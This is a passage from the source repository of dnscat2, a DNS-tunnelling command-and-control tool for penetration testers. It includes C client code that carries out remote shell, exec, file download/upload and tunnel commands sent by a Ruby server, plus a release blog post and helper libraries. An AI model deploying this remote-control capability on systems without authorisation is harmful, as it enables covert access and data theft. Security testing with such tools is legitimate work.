driver_exec_get_outgoing(driver->real_driver.exec, length, max_length); 147 | break; 148 | 149 | case DRIVER_TYPE_COMMAND: 150 | return driver_command_get_outgoing(driver->real_driver.command, length, max_length); 151 | break; 152 | 153 | case DRIVER_TYPE_PING: 154 | return driver_ping_get_outgoing(driver->real_driver.ping, length, max_length); 155 | break; 156 | 157 | default: 158 | LOG_FATAL("UNKNOWN DRIVER TYPE! (%d in driver_get_outgoing)\n", driver->type); 159 | exit(1); 160 | break; 161 | } 162 | } 163 | 164 | -------------------------------------------------------------------------------- /doc/blogs/dnscat2-0.01-release.html: -------------------------------------------------------------------------------- 1 | As I promised during my 2014 Derbycon talk (amongst other places), this is an initial release of my complete re-write/re-design of the dnscat service / protocol. It's now a standalone tool instead of being bundled with nbtool, among other changes. :) 2 | 3 | I'd love to have people testing it, and getting feedback is super important to me! Even if you don't try this version, hearing that you're excited for a full release would be awesome. The more people excited for this, the more I'm encouraged to work on it! In case you don't know it, my email address is listed below in a couple places. 4 | 5 |

Where can I get it?

6 | 7 | Here are some links: 8 |
  • Sourcecode on github (HEAD sourcecode)
  • 9 |
  • Downloads (you'll find signed Linux 32-bit, Linux 64-bit, Win32, and source code versions of the client, plus an archive of the server—keep in mind that that signature file is hosted on the same server as the files, so if you're worried, please verify :) )
  • 10 |
  • User documentation
  • 11 |
  • Protocol and command protocol documents (as a user, you probably don't need these)
  • 12 |
  • Issue tracker (you can also email me issues, just put my first name (ron) in front of my domain name (skullsecurity.net))
  • 13 | 14 |

    Wait, what happened to dnscat1?

    15 | 16 | I designed dnscat1 to be similar to netcat; the client and server were the same program, and you could tunnel both ways. That quickly became complex and buggy and annoying to fix. It's had unresolved bugs for years! I've been promising a major upgrade for years, but I wanted it to be reasonably stable/usable before I released anything! 17 | 18 | Since generic TCP/IP DNS tunnels have been done (for example, by iodine), I decided to make dnscat2 a little different. I target penetration testers as users, and made the server more of a command & control-style service. For example, an old, old version of dnscat2 had the ability to proxy data through the client and out the server. I decided to remove that code because I want the server to be runnable on a trusted network. 19 | 20 | Additionally, unlike dnscat1, dnscat2 uses a separate client and server. The client is still low-level portable C code that should run anywhere (tested on 32- and 64-bit Linux, Windows, FreeBSD, and OS X). The server is now higher-level Ruby code that requires Ruby and a few libraries (I regularly use it on Linux and Windows, but it should run anywhere that Ruby and the required gems runs). That means I can quickly and easily add functionality to the server while implementing relatively simple clients. 21 | 22 |

    How can I help?

    23 | 24 | The goal of this release is primarily to find bugs in compilation, usage, and documentation. Everything should work on all 32- and 64-bit versions of Linux, Windows, FreeBSD, and OS X. If you get it working on any other systems, let me know so I can advertise it! 25 | 26 | I'd love to hear from anybody who successfully or unsuccessfully tried to get things going. Anything from what you liked, what you didn't like, what was intuitive, what was unintuitive, where the documentation was awesome, where the documentation sucked, what you like about my face, what you hate about my face—anything at all! Seriously, if you get it working, email me—knowing that people are using it is awesome and motivates me to do more. :) 27 | 28 | For feedback, my email address is my first name (ron) at my domain (skullsecurity.net). If you find any bugs or have any feature requests, the best place to go is my Issue tracker. 29 | 30 |

    What's the future hold?

    31 | 32 | I've spent a lot of time on stability and bugfixes recently, which means I haven't been adding features. The two major features that I plan to add are: 33 | 34 |
      35 |
    • TCP proxying - basically, creating a tunnel that exits through the client
    • 36 |
    • Shellcode - a x86/x64 implementation of dnscat for Linux and/or Windows
    • 37 |
    38 | 39 | Once again, I'd love feedback on which you think is more important, and if you're excited to get shellcode, then which architecture/OS that I should prioritize. :) 40 | -------------------------------------------------------------------------------- /client/drivers/command/driver_command.c: -------------------------------------------------------------------------------- 1 | /* driver_command.c 2 | * By Ron Bowes 3 | * Created May, 2014 4 | * 5 | * See LICENSE.md 6 | */ 7 | 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | 15 | #ifndef WIN32 16 | #include 17 | #endif 18 | 19 | #include "command_packet.h" 20 | #include "controller/session.h" 21 | #include "controller/controller.h" 22 | #include "drivers/driver_exec.h" 23 | #include "libs/log.h" 24 | #include "libs/memory.h" 25 | #include "libs/select_group.h" 26 | #include "libs/tcp.h" 27 | #include "libs/types.h" 28 | 29 | #include "driver_command.h" 30 | 31 | static uint16_t request_id() 32 | { 33 | static uint16_t request_id = 0; 34 | 35 | return request_id++; 36 | } 37 | 38 | /* I moved some functions into other files for better organization; 39 | * this includes them. */ 40 | #include "commands_standard.h" 41 | #include "commands_tunnel.h" 42 | 43 | void driver_command_data_received(driver_command_t *driver, uint8_t *data, size_t length) 44 | { 45 | command_packet_t *in = NULL; 46 | command_packet_t *out = NULL; 47 | 48 | buffer_add_bytes(driver->stream, data, length); 49 | 50 | while((in = command_packet_read(driver->stream))) 51 | { 52 | /* TUNNEL_DATA commands are too noisy to print. */ 53 | if(in->command_id != TUNNEL_DATA) 54 | { 55 | printf("Got a command: "); 56 | command_packet_print(in); 57 | } 58 | 59 | switch(in->command_id) 60 | { 61 | case COMMAND_PING: 62 | out = handle_ping(driver, in); 63 | break; 64 | 65 | case COMMAND_SHELL: 66 | out = handle_shell(driver, in); 67 | break; 68 | 69 | case COMMAND_EXEC: 70 | out = handle_exec(driver, in); 71 | break; 72 | 73 | case COMMAND_DOWNLOAD: 74 | out = handle_download(driver, in); 75 | break; 76 | 77 | case COMMAND_UPLOAD: 78 | out = handle_upload(driver, in); 79 | break; 80 | 81 | case COMMAND_SHUTDOWN: 82 | out = handle_shutdown(driver, in); 83 | break; 84 | 85 | case COMMAND_DELAY: 86 | out = handle_delay(driver, in); 87 | break; 88 | 89 | case TUNNEL_CONNECT: 90 | out = handle_tunnel_connect(driver, in); 91 | break; 92 | 93 | case TUNNEL_DATA: 94 | out = handle_tunnel_data(driver, in); 95 | break; 96 | 97 | case TUNNEL_CLOSE: 98 | out = handle_tunnel_close(driver, in); 99 | break; 100 | 101 | case COMMAND_ERROR: 102 | out = handle_error(driver, in); 103 | break; 104 | 105 | default: 106 | LOG_ERROR("Got a command packet that we don't know how to handle!\n"); 107 | out = command_packet_create_error_response(in->request_id, 0xFFFF, "Not implemented yet!"); 108 | } 109 | 110 | /* Respond if and only if an outgoing packet was created. */ 111 | if(out) 112 | { 113 | uint8_t *data; 114 | size_t length; 115 | 116 | if(out->command_id != TUNNEL_DATA) 117 | { 118 | printf("Response: "); 119 | command_packet_print(out); 120 | } 121 | 122 | data = command_packet_to_bytes(out, &length); 123 | buffer_add_bytes(driver->outgoing_data, data, length); 124 | safe_free(data); 125 | command_packet_destroy(out); 126 | } 127 | command_packet_destroy(in); 128 | } 129 | } 130 | 131 | uint8_t *driver_command_get_outgoing(driver_command_t *driver, size_t *length, size_t max_length) 132 | { 133 | /* If the driver has been killed and we have no bytes left, return NULL to close the session. */ 134 | if(driver->is_shutdown && buffer_get_remaining_bytes(driver->outgoing_data) == 0) 135 | return NULL; 136 | 137 | return buffer_read_remaining_bytes(driver->outgoing_data, length, max_length, TRUE); 138 | } 139 | 140 | driver_command_t *driver_command_create(select_group_t *group) 141 | { 142 | driver_command_t *driver = (driver_command_t*) safe_malloc(sizeof(driver_command_t)); 143 | 144 | driver->stream = buffer_create(BO_BIG_ENDIAN); 145 | driver->group = group; 146 | driver->is_shutdown = FALSE; 147 | driver->outgoing_data = buffer_create(BO_LITTLE_ENDIAN); 148 | driver->tunnels = ll_create(NULL); 149 | 150 | return driver; 151 | } 152 | 153 | void driver_command_destroy(driver_command_t *driver) 154 | { 155 | if(!driver->is_shutdown) 156 | driver_command_close(driver); 157 | 158 | if(driver->name) 159 | safe_free(driver->name); 160 | 161 | if(driver->stream) 162 | buffer_destroy(driver->stream); 163 | safe_free(driver); 164 | } 165 | 166 | void driver_command_close(driver_command_t *driver) 167 | { 168 | driver->is_shutdown = TRUE; 169 | } 170 | -------------------------------------------------------------------------------- /client/libs/crypto/micro-ecc/emk_project.py: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | c, link, asm, utils = emk.module("c", "link", "asm", "utils") 4 | 5 | default_compile_flags = ["-fvisibility=hidden", "-Wall", "-Wextra", "-Wshadow", "-Werror", "-Wno-missing-field-initializers", "-Wno-unused-parameter", \ 6 | "-Wno-comment", "-Wno-unused", "-Wno-unknown-pragmas"] 7 | default_link_flags = [] 8 | opt_flags = {"dbg":["-g"], "std":["-O2"], "max":["-O3"], "small":["-Os"]} 9 | opt_link_flags = {"dbg":[], "std":[], "max":[], "small":[]} 10 | c_flags = ["-std=c99"] 11 | cxx_flags = ["-std=c++11", "-Wno-reorder", "-fno-rtti", "-fno-exceptions"] 12 | c_link_flags = [] 13 | cxx_link_flags = ["-fno-rtti", "-fno-exceptions"] 14 | 15 | def setup_build_dir(): 16 | build_arch = None 17 | if "arch" in emk.options: 18 | build_arch = emk.options["arch"] 19 | elif not emk.cleaning: 20 | build_arch = "osx" 21 | emk.options["arch"] = build_arch 22 | 23 | opt_level = None 24 | if "opt" in emk.options: 25 | level = emk.options["opt"] 26 | if level in opt_flags: 27 | opt_level = level 28 | else: 29 | emk.log.warning("Unknown optimization level '%s'" % (level)) 30 | elif not emk.cleaning: 31 | opt_level = "dbg" 32 | emk.options["opt"] = opt_level 33 | 34 | dirs = ["__build__"] 35 | if build_arch: 36 | dirs.append(build_arch) 37 | if opt_level: 38 | dirs.append(opt_level) 39 | emk.build_dir = os.path.join(*dirs) 40 | 41 | def setup_osx(): 42 | global c 43 | global link 44 | 45 | flags = [("-arch", "x86_64"), "-fno-common", "-Wnewline-eof"] 46 | c.flags.extend(flags) 47 | c.cxx.flags += ["-stdlib=libc++"] 48 | link.cxx.flags += ["-stdlib=libc++"] 49 | 50 | link_flags = [("-arch", "x86_64")] 51 | link.local_flags.extend(link_flags) 52 | 53 | def setup_avr(): 54 | global c 55 | global link 56 | 57 | c.compiler = c.GccCompiler("/Projects/avr-tools/bin/avr-") 58 | c.flags += ["-mmcu=atmega256rfr2", "-ffunction-sections", "-fdata-sections"] 59 | link.linker = link.GccLinker("/Projects/avr-tools/bin/avr-") 60 | link.flags += ["-mmcu=atmega256rfr2", "-mrelax", "-Wl,--gc-sections"] 61 | link.strip = True 62 | 63 | def setup_arm_thumb(): 64 | global c 65 | global link 66 | global asm 67 | global utils 68 | 69 | asm.assembler = asm.GccAssembler("/cross/arm_cortex/bin/arm-none-eabi-") 70 | c.compiler = c.GccCompiler("/cross/arm_cortex/bin/arm-none-eabi-") 71 | link.linker = link.GccLinker("/cross/arm_cortex/bin/arm-none-eabi-") 72 | 73 | c.flags.extend(["-mcpu=cortex-m0", "-mthumb", "-ffunction-sections", "-fdata-sections", "-fno-builtin-fprintf", "-fno-builtin-printf"]) 74 | c.defines["LPC11XX"] = 1 75 | 76 | link.local_flags.extend(["-mcpu=cortex-m0", "-mthumb", "-nostartfiles", "-nostdlib", "-Wl,--gc-sections"]) 77 | link.local_flags.extend(["-Tflash.lds", "-L/Projects/lpc11xx/core", "/Projects/lpc11xx/core/" + emk.build_dir + "/board_cstartup.o"]) 78 | link.local_syslibs += ["gcc"] 79 | link.depdirs += ["/Projects/lpc11xx/stdlib"] 80 | 81 | def do_objcopy(produces, requires): 82 | utils.call("/cross/arm_cortex/bin/arm-none-eabi-objcopy", "-O", "binary", requires[0], produces[0]) 83 | 84 | def handle_exe(path): 85 | emk.depend(path, "/Projects/lpc11xx/core/" + emk.build_dir + "/board_cstartup.o") 86 | emk.rule(do_objcopy, path + ".bin", path, cwd_safe=True, ex_safe=True) 87 | emk.autobuild(path + ".bin") 88 | 89 | link.exe_funcs.append(handle_exe) 90 | link.strip = True 91 | 92 | emk.recurse("/Projects/lpc11xx/core") 93 | 94 | def setup_linux_rpi(): 95 | global c 96 | global link 97 | 98 | c.compiler = c.GccCompiler("/Volumes/xtools/arm-none-linux-gnueabi/bin/arm-none-linux-gnueabi-") 99 | link.linker = link.GccLinker("/Volumes/xtools/arm-none-linux-gnueabi/bin/arm-none-linux-gnueabi-") 100 | 101 | c.flags.extend(["-fomit-frame-pointer"]) 102 | 103 | setup_build_dir() 104 | 105 | setup_funcs = {"osx":setup_osx, "avr":setup_avr, "arm_thumb":setup_arm_thumb, "rpi": setup_linux_rpi} 106 | 107 | if not emk.cleaning: 108 | build_arch = emk.options["arch"] 109 | opt_level = emk.options["opt"] 110 | 111 | c.flags.extend(default_compile_flags) 112 | c.flags.extend(opt_flags[opt_level]) 113 | c.c.flags.extend(c_flags) 114 | c.cxx.flags.extend(cxx_flags) 115 | link.local_flags.extend(default_link_flags) 116 | link.local_flags.extend(opt_link_flags[opt_level]) 117 | link.c.local_flags.extend(c_link_flags) 118 | link.cxx.local_flags.extend(cxx_link_flags) 119 | 120 | c.include_dirs.append("$:proj:$") 121 | 122 | if build_arch in setup_funcs: 123 | setup_funcs[build_arch]() 124 | else: 125 | raise emk.BuildError("Unknown target arch '%s'" % (build_arch)) 126 | 127 | c.defines["TARGET_ARCH_" + build_arch.upper()] = 1 128 | -------------------------------------------------------------------------------- /server/drivers/driver_command.rb: -------------------------------------------------------------------------------- 1 | ## 2 | # driver_command.rb 3 | # Created August 29, 2015 4 | # By Ron Bowes 5 | # 6 | # See: LICENSE.md 7 | ## 8 | 9 | require 'shellwords' 10 | 11 | require 'drivers/command_packet' 12 | require 'drivers/driver_command_commands' 13 | require 'drivers/driver_command_tunnels' 14 | 15 | class DriverCommand 16 | include DriverCommandCommands 17 | include DriverCommandTunnels 18 | 19 | attr_reader :stopped 20 | 21 | @@mutex = Mutex.new() 22 | 23 | def request_id() 24 | id = @request_id 25 | @request_id += 1 26 | return id 27 | end 28 | 29 | def _get_pcap_window() 30 | id = "cmdpcap#{@window.id}" 31 | 32 | if(SWindow.exists?(id)) 33 | return SWindow.get(id) 34 | end 35 | 36 | return SWindow.new(@window, false, { 37 | :id => id, 38 | :name => "dnscat2 command protocol window for session #{@window.id}", 39 | :noinput => true, 40 | }) 41 | end 42 | 43 | def _send_request(request, callback) 44 | # Make sure this is synchronous so threads don't fight 45 | @@mutex.synchronize() do 46 | if(callback) 47 | @handlers[request.get(:request_id)] = { 48 | :request => request, 49 | :proc => callback 50 | } 51 | end 52 | 53 | if(Settings::GLOBAL.get("packet_trace")) 54 | window = _get_pcap_window() 55 | window.puts("OUT: #{request}") 56 | end 57 | 58 | out = request.serialize() 59 | out = [out.length, out].pack("Na*") 60 | @outgoing += out 61 | end 62 | end 63 | 64 | def initialize(window, settings) 65 | @window = window 66 | @settings = settings 67 | @outgoing = "" 68 | @incoming = "" 69 | @request_id = 0x0001 70 | @commander = Commander.new() 71 | @handlers = {} 72 | @stopped = false 73 | 74 | _register_commands() 75 | _register_commands_tunnels() 76 | 77 | @window.on_input() do |data| 78 | # This replaces any $variables with 79 | data = @settings.do_replace(data) 80 | begin 81 | @commander.feed(data) 82 | rescue ArgumentError => e 83 | @window.puts("Error: #{e}") 84 | @commander.educate(data, @window) 85 | end 86 | end 87 | 88 | @window.puts("This is a command session!") 89 | @window.puts() 90 | @window.puts("That means you can enter a dnscat2 command such as") 91 | @window.puts("'ping'! For a full list of clients, try 'help'.") 92 | @window.puts() 93 | 94 | # This creates the window early for a slightly better UX (it doesn't pop up after their first command) 95 | if(Settings::GLOBAL.get("packet_trace")) 96 | window = _get_pcap_window() 97 | end 98 | end 99 | 100 | def _handle_incoming(command_packet) 101 | if(Settings::GLOBAL.get("packet_trace")) 102 | window = _get_pcap_window() 103 | window.puts("IN: #{command_packet}") 104 | end 105 | 106 | if(command_packet.get(:is_request)) 107 | tunnel_data_incoming(command_packet) 108 | return 109 | end 110 | 111 | handler = @handlers.delete(command_packet.get(:request_id)) 112 | if(handler.nil?) 113 | @window.puts("Received a response that we have no record of sending:") 114 | @window.puts("#{command_packet}") 115 | @window.puts() 116 | @window.puts("Here are the responses we're waiting for:") 117 | @handlers.each_pair do |request_id, the_handler| 118 | @window.puts("#{request_id}: #{the_handler[:request]}") 119 | end 120 | return 121 | end 122 | 123 | if(command_packet.get(:command_id) == CommandPacket::COMMAND_ERROR) 124 | @window.puts("Client returned an error: #{command_packet.get(:status)} :: #{command_packet.get(:reason)}") 125 | return 126 | end 127 | 128 | if(handler[:request].get(:command_id) != command_packet.get(:command_id)) 129 | @window.puts("Received a response of a different packet type (that's really weird, please report if you can reproduce!") 130 | @window.puts("#{command_packet}") 131 | @window.puts() 132 | @window.puts("The original packet was:") 133 | @window.puts("#{handler}") 134 | return 135 | end 136 | 137 | handler[:proc].call(handler[:request], command_packet) 138 | end 139 | 140 | def feed(data) 141 | @incoming += data 142 | loop do 143 | if(@incoming.length < 4) 144 | break 145 | end 146 | 147 | # Try to read a length + packet 148 | length, data = @incoming.unpack("Na*") 149 | 150 | # If there isn't enough data, give up 151 | if(data.length < length) 152 | break 153 | end 154 | 155 | # Otherwise, remove what we have from @data 156 | length, data, @incoming = @incoming.unpack("Na#{length}a*") 157 | _handle_incoming(CommandPacket.parse(data)) 158 | end 159 | 160 | # Return the queue and clear it out 161 | result = @outgoing 162 | @outgoing = '' 163 | return result 164 | end 165 | 166 | def request_stop() 167 | @stopped = true 168 | end 169 | 170 | def shutdown() 171 | tunnels_stop() 172 | end 173 | end 174 | -------------------------------------------------------------------------------- /client/drivers/command/command_packet.h: -------------------------------------------------------------------------------- 1 | /* command_packet.h 2 | * By Ron Bowes 3 | * Created May, 2014 4 | * 5 | * See LICENSE.md 6 | * 7 | * A class for creating and parsing dnscat command protocol packets. 8 | */ 9 | #ifndef __COMMAND_PACKET_H__ 10 | #define __COMMAND_PACKET_H__ 11 | 12 | #include 13 | 14 | #include "libs/buffer.h" 15 | #include "libs/types.h" 16 | 17 | #ifdef WIN32 18 | #include "libs/pstdint.h" 19 | #else 20 | #include 21 | #endif 22 | 23 | /* Just make sure it doesn't overflow, basically */ 24 | #define MAX_COMMAND_PACKET_SIZE 0x7FFFFF00 25 | 26 | typedef enum 27 | { 28 | COMMAND_PING = 0x0000, 29 | COMMAND_SHELL = 0x0001, 30 | COMMAND_EXEC = 0x0002, 31 | COMMAND_DOWNLOAD = 0x0003, 32 | COMMAND_UPLOAD = 0x0004, 33 | COMMAND_SHUTDOWN = 0x0005, 34 | COMMAND_DELAY = 0x0006, 35 | 36 | TUNNEL_CONNECT = 0x1000, 37 | TUNNEL_DATA = 0x1001, 38 | TUNNEL_CLOSE = 0x1002, 39 | 40 | COMMAND_ERROR = 0xFFFF, 41 | } command_packet_type_t; 42 | 43 | typedef enum 44 | { 45 | TUNNEL_STATUS_FAIL = 0x8000, 46 | } tunnel_status_t; 47 | 48 | typedef struct 49 | { 50 | uint16_t request_id; 51 | command_packet_type_t command_id; 52 | NBBOOL is_request; 53 | 54 | union 55 | { 56 | struct 57 | { 58 | union { 59 | struct { char *data; } ping; 60 | struct { char *name; } shell; 61 | struct { char *name; char *command; } exec; 62 | struct { char *filename; } download; 63 | struct { char *filename; uint8_t *data; uint32_t length; } upload; 64 | struct { int dummy; } shutdown; 65 | struct { uint32_t delay; } delay; 66 | struct { uint32_t options; char *host; uint16_t port; } tunnel_connect; 67 | struct { uint32_t tunnel_id; uint8_t *data; size_t length; } tunnel_data; 68 | struct { uint32_t tunnel_id; char *reason; } tunnel_close; 69 | struct { uint16_t status; char *reason; } error; 70 | } body; 71 | } request; 72 | 73 | struct 74 | { 75 | union { 76 | struct { char *data; } ping; 77 | struct { uint16_t session_id; } shell; 78 | struct { uint16_t session_id; } exec; 79 | struct { uint8_t *data; uint32_t length; } download; 80 | struct { int dummy; } upload; 81 | struct { int dummy; } shutdown; 82 | struct { int dummy; } delay; 83 | struct { uint16_t status; uint32_t tunnel_id; } tunnel_connect; 84 | struct { int dummy; } tunnel_data; 85 | struct { int dummy; } tunnel_close; 86 | struct { uint16_t status; char *reason; } error; 87 | } body; 88 | } response; 89 | } r; 90 | } command_packet_t; 91 | 92 | /* Parse a packet from a byte stream. */ 93 | command_packet_t *command_packet_read(buffer_t *buffer); 94 | 95 | /* Create a packet with the given characteristics. */ 96 | command_packet_t *command_packet_create_ping_request(uint16_t request_id, char *data); 97 | command_packet_t *command_packet_create_ping_response(uint16_t request_id, char *data); 98 | 99 | command_packet_t *command_packet_create_shell_request(uint16_t request_id, char *name); 100 | command_packet_t *command_packet_create_shell_response(uint16_t request_id, uint16_t session_id); 101 | 102 | command_packet_t *command_packet_create_exec_request(uint16_t request_id, char *name, char *command); 103 | command_packet_t *command_packet_create_exec_response(uint16_t request_id, uint16_t session_id); 104 | 105 | command_packet_t *command_packet_create_download_request(uint16_t request_id, char *filename); 106 | command_packet_t *command_packet_create_download_response(uint16_t request_id, uint8_t *data, uint32_t length); 107 | 108 | command_packet_t *command_packet_create_upload_request(uint16_t request_id, char *filename, uint8_t *data, uint32_t length); 109 | command_packet_t *command_packet_create_upload_response(uint16_t request_id); 110 | 111 | command_packet_t *command_packet_create_shutdown_response(uint16_t request_id); 112 | 113 | command_packet_t *command_packet_create_delay_response(uint16_t request_id); 114 | 115 | command_packet_t *command_packet_create_tunnel_connect_request(uint16_t request_id, uint32_t options, char *host, uint16_t port); 116 | command_packet_t *command_packet_create_tunnel_connect_response(uint16_t request_id, uint32_t tunnel_id); 117 | 118 | command_packet_t *command_packet_create_tunnel_data_request(uint16_t request_id, uint32_t tunnel_id, uint8_t *data, uint32_t length); 119 | 120 | command_packet_t *command_packet_create_tunnel_close_request(uint16_t request_id, uint32_t tunnel_id, char *reason); 121 | 122 | command_packet_t *command_packet_create_error_request(uint16_t request_id, uint16_t status, char *reason); 123 | command_packet_t *command_packet_create_error_response(uint16_t request_id, uint16_t status, char *reason); 124 | 125 | 126 | /* Free the packet data structures. */ 127 | void command_packet_destroy(command_packet_t *packet); 128 | 129 | /* Print the packet (debugging, mostly) */ 130 | void command_packet_print(command_packet_t *packet); 131 | 132 | /* Needs to be freed with safe_free() */ 133 | uint8_t *command_packet_to_bytes(command_packet_t *packet, size_t *length); 134 | 135 | #endif 136 | -------------------------------------------------------------------------------- /server/controller/encryptor_sas.rb: -------------------------------------------------------------------------------- 1 | ## 2 | # encryptor_sas.rb 3 | # Created October, 2015 4 | # By Ron Bowes 5 | # 6 | # See: LICENSE.md 7 | # 8 | ## 9 | 10 | require 'sha3' 11 | 12 | module EncryptorSAS 13 | SAS_WORDLIST = [ 14 | 'Abate', 15 | 'Absorb', 16 | 'Ache', 17 | 'Acidy', 18 | 'Across', 19 | 'After', 20 | 'Alike', 21 | 'Amount', 22 | 'Amuse', 23 | 'Annoy', 24 | 'Annuls', 25 | 'Ardent', 26 | 'Ascot', 27 | 'Bait', 28 | 'Barons', 29 | 'Barret', 30 | 'Bask', 31 | 'Becurl', 32 | 'Befool', 33 | 'Bell', 34 | 'Bifold', 35 | 'Bogie', 36 | 'Boxen', 37 | 'Bozo', 38 | 'Broke', 39 | 'Bulby', 40 | 'Bunny', 41 | 'Calmly', 42 | 'Canary', 43 | 'Cargo', 44 | 'Chirp', 45 | 'Chroma', 46 | 'Cleft', 47 | 'Coke', 48 | 'Column', 49 | 'Comely', 50 | 'Cometh', 51 | 'Convoy', 52 | 'Corn', 53 | 'Cough', 54 | 'Cruxes', 55 | 'Cued', 56 | 'Darter', 57 | 'Dash', 58 | 'Dating', 59 | 'Deadly', 60 | 'Deaf', 61 | 'Decade', 62 | 'Deepen', 63 | 'Depict', 64 | 'Domed', 65 | 'Dorper', 66 | 'Drafts', 67 | 'Dried', 68 | 'Duff', 69 | 'Durian', 70 | 'Early', 71 | 'Easily', 72 | 'Eggars', 73 | 'Emboss', 74 | 'Emit', 75 | 'Encode', 76 | 'Ennui', 77 | 'Envied', 78 | 'Essay', 79 | 'Evites', 80 | 'Evoke', 81 | 'Exotic', 82 | 'Facile', 83 | 'Fate', 84 | 'Feisty', 85 | 'Fewest', 86 | 'Fifty', 87 | 'Filth', 88 | 'Finer', 89 | 'Fished', 90 | 'Flacks', 91 | 'Flaunt', 92 | 'Fleecy', 93 | 'Flied', 94 | 'Foams', 95 | 'Foxes', 96 | 'Freely', 97 | 'Frozen', 98 | 'Genome', 99 | 'Gibbon', 100 | 'Gifts', 101 | 'Giving', 102 | 'Gold', 103 | 'Gone', 104 | 'Gouge', 105 | 'Grocer', 106 | 'Grows', 107 | 'Half', 108 | 'Handle', 109 | 'Harold', 110 | 'Harp', 111 | 'Hedges', 112 | 'Hither', 113 | 'Hobbit', 114 | 'Hobble', 115 | 'Hoods', 116 | 'Hooked', 117 | 'Horror', 118 | 'Horsed', 119 | 'Hound', 120 | 'Huns', 121 | 'Ices', 122 | 'Impish', 123 | 'Jiber', 124 | 'Jiggy', 125 | 'Kelpy', 126 | 'Keyman', 127 | 'Khan', 128 | 'Killer', 129 | 'Klutzy', 130 | 'Lair', 131 | 'Lashes', 132 | 'Libate', 133 | 'Liming', 134 | 'Lonely', 135 | 'Looks', 136 | 'Lordy', 137 | 'Lush', 138 | 'Mailer', 139 | 'Maps', 140 | 'Mayo', 141 | 'Mcgill', 142 | 'Mona', 143 | 'Motive', 144 | 'Mousy', 145 | 'Neigh', 146 | 'Ninjas', 147 | 'Nodule', 148 | 'Nuns', 149 | 'Obese', 150 | 'Olive', 151 | 'Omelet', 152 | 'Omen', 153 | 'Otto', 154 | 'Outran', 155 | 'Ouzo', 156 | 'Owls', 157 | 'Papism', 158 | 'Parrot', 159 | 'Peace', 160 | 'Pearly', 161 | 'Peaty', 162 | 'Pedal', 163 | 'Pegged', 164 | 'Petals', 165 | 'Phials', 166 | 'Pianos', 167 | 'Pierce', 168 | 'Pigs', 169 | 'Pikey', 170 | 'Pitch', 171 | 'Plato', 172 | 'Plays', 173 | 'Plight', 174 | 'Poetic', 175 | 'Poker', 176 | 'Polite', 177 | 'Pontic', 178 | 'Pony', 179 | 'Powers', 180 | 'Poxes', 181 | 'Prams', 182 | 'Pulped', 183 | 'Purr', 184 | 'Push', 185 | 'Quint', 186 | 'Random', 187 | 'Rapier', 188 | 'Ravel', 189 | 'Real', 190 | 'Rebolt', 191 | 'Recoil', 192 | 'Redear', 193 | 'Reink', 194 | 'Ripe', 195 | 'Riprap', 196 | 'Roger', 197 | 'Ropers', 198 | 'Roving', 199 | 'Rumor', 200 | 'Sanded', 201 | 'Sawlog', 202 | 'Sawman', 203 | 'Scribe', 204 | 'Scruff', 205 | 'Seitan', 206 | 'Sense', 207 | 'Shirks', 208 | 'Sippy', 209 | 'Sitcom', 210 | 'Slumpy', 211 | 'Softy', 212 | 'Sonar', 213 | 'Sonny', 214 | 'Sophic', 215 | 'Spear', 216 | 'Spiced', 217 | 'Spikey', 218 | 'Spine', 219 | 'Spoofy', 220 | 'Spring', 221 | 'Static', 222 | 'Staved', 223 | 'Stilt', 224 | 'Stinty', 225 | 'Stirs', 226 | 'Storer', 227 | 'Story', 228 | 'Strode', 229 | 'Stump', 230 | 'Suited', 231 | 'Surfs', 232 | 'Swatch', 233 | 'Swum', 234 | 'Tables', 235 | 'Taking', 236 | 'Tattoo', 237 | 'Teal', 238 | 'Teeth', 239 | 'Telco', 240 | 'Timer', 241 | 'Tins', 242 | 'Tonite', 243 | 'Tore', 244 | 'Tort', 245 | 'Tried', 246 | 'Trivia', 247 | 'Tubule', 248 | 'Tusked', 249 | 'Twins', 250 | 'Twos', 251 | 'Unborn', 252 | 'Undam', 253 | 'Unwrap', 254 | 'Upcurl', 255 | 'Upseal', 256 | 'Visas', 257 | 'Volume', 258 | 'Waded', 259 | 'Wages', 260 | 'Ware', 261 | 'Wears', 262 | 'Wicked', 263 | 'Winful', 264 | 'Wisely', 265 | 'Wisp', 266 | 'Yerba', 267 | 'Zester', 268 | 'Zoner', 269 | 'Zootic', 270 | ] 271 | 272 | def get_sas() 273 | return SHA3::Digest::SHA256.digest("authstring" + 274 | CryptoHelper.bignum_to_binary(@keys[:shared_secret]) + 275 | CryptoHelper.bignum_to_binary(@keys[:their_public_key].x) + 276 | CryptoHelper.bignum_to_binary(@keys[:their_public_key].y) + 277 | CryptoHelper.bignum_to_binary(@keys[:my_public_key].x) + 278 | CryptoHelper.bignum_to_binary(@keys[:my_public_key].y) 279 | )[0,6].bytes().map() { |b| SAS_WORDLIST[b] }.join(' ') 280 | end 281 | end 282 | -------------------------------------------------------------------------------- /client/libs/ll.c: -------------------------------------------------------------------------------- 1 | /* ll.c 2 | * By Ron 3 | * Created January, 2010 4 | * 5 | * (See LICENSE.md) 6 | */ 7 | 8 | #include 9 | 10 | #include "libs/memory.h" 11 | 12 | #if 0 13 | #include 14 | #include 15 | #include 16 | #define safe_malloc malloc 17 | #define safe_free free 18 | #define FALSE 0 19 | #define TRUE 1 20 | #endif 21 | 22 | #include "ll.h" 23 | 24 | ll_t *ll_create(cmpfunc_t *cmpfunc) 25 | { 26 | ll_t *ll = (ll_t*) safe_malloc(sizeof(ll_t)); 27 | ll->first = NULL; 28 | ll->cmpfunc = cmpfunc; 29 | 30 | return ll; 31 | } 32 | 33 | static ll_element_t *create_element(ll_index_t index, void *data) 34 | { 35 | ll_element_t *element = (ll_element_t*) safe_malloc(sizeof(ll_element_t)); 36 | element->index = index; 37 | element->data = data; 38 | 39 | return element; 40 | } 41 | 42 | static ll_element_t *destroy_element(ll_element_t *element) 43 | { 44 | void *data = element->data; 45 | safe_free(element); 46 | return data; 47 | } 48 | 49 | void *ll_add(ll_t *ll, ll_index_t index, void *data) 50 | { 51 | ll_element_t *element = create_element(index, data); 52 | void *old_data = ll_remove(ll, index); 53 | 54 | element->next = NULL; 55 | if(ll->first) 56 | element->next = (struct ll_element_t *)ll->first; 57 | ll->first = element; 58 | 59 | return old_data; 60 | } 61 | 62 | static int compare(ll_t *ll, ll_index_t a, ll_index_t b) 63 | { 64 | if(a.type != b.type) 65 | return FALSE; 66 | 67 | switch(a.type) 68 | { 69 | case LL_8: 70 | return a.value.u8 == b.value.u8; 71 | 72 | case LL_16: 73 | return a.value.u16 == b.value.u16; 74 | 75 | case 